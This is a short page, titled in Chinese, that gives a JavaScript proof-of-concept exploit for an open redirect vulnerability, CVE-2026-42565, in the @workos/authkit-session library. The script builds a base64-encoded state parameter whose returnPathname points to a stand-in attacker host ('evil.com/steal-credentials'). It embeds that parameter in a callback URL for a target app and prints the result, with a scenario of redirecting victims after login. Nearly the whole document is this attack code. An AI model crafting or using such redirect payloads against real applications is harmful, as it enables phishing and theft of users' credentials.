CVE-2026-42565 WorkOS AuthKit开放重定向漏洞

// Conceptual PoC for CVE-2026-42565 // Description: Demonstrates how an attacker can craft a malicious state parameter // to exploit the open redirect vulnerability in @workos/authkit-session. const crypto = require('crypto'); // 1. Attacker defines the malicious destination const maliciousRedirectUrl = "https://evil.com/steal-credentials"; // 2. Construct the payload for the state parameter // The application expects a JSON object containing 'returnPathname' const payload = { returnPathname: maliciousRedirectUrl }; // 3. Encode the payload (assuming Base64 encoding as per common OAuth patterns) const encodedState = Buffer.from(JSON.stringify(payload)).toString('base64'); // 4. Generate the exploit URL // This URL simulates the callback sent from the Identity Provider (IdP) const exploitUrl = `https://target-app.com/auth/callback?state=${encodedState}&code=auth_code_placeholder`; console.log("[+] Exploit Generated:"); console.log(exploitUrl); console.log("\n[+] Scenario:"); console.log("If the victim clicks this link (or is redirected here after IdP login),"); console.log("the vulnerable handleCallback function will decode the state,"); console.log("extract returnPathname, and redirect the user to:", maliciousRedirectUrl);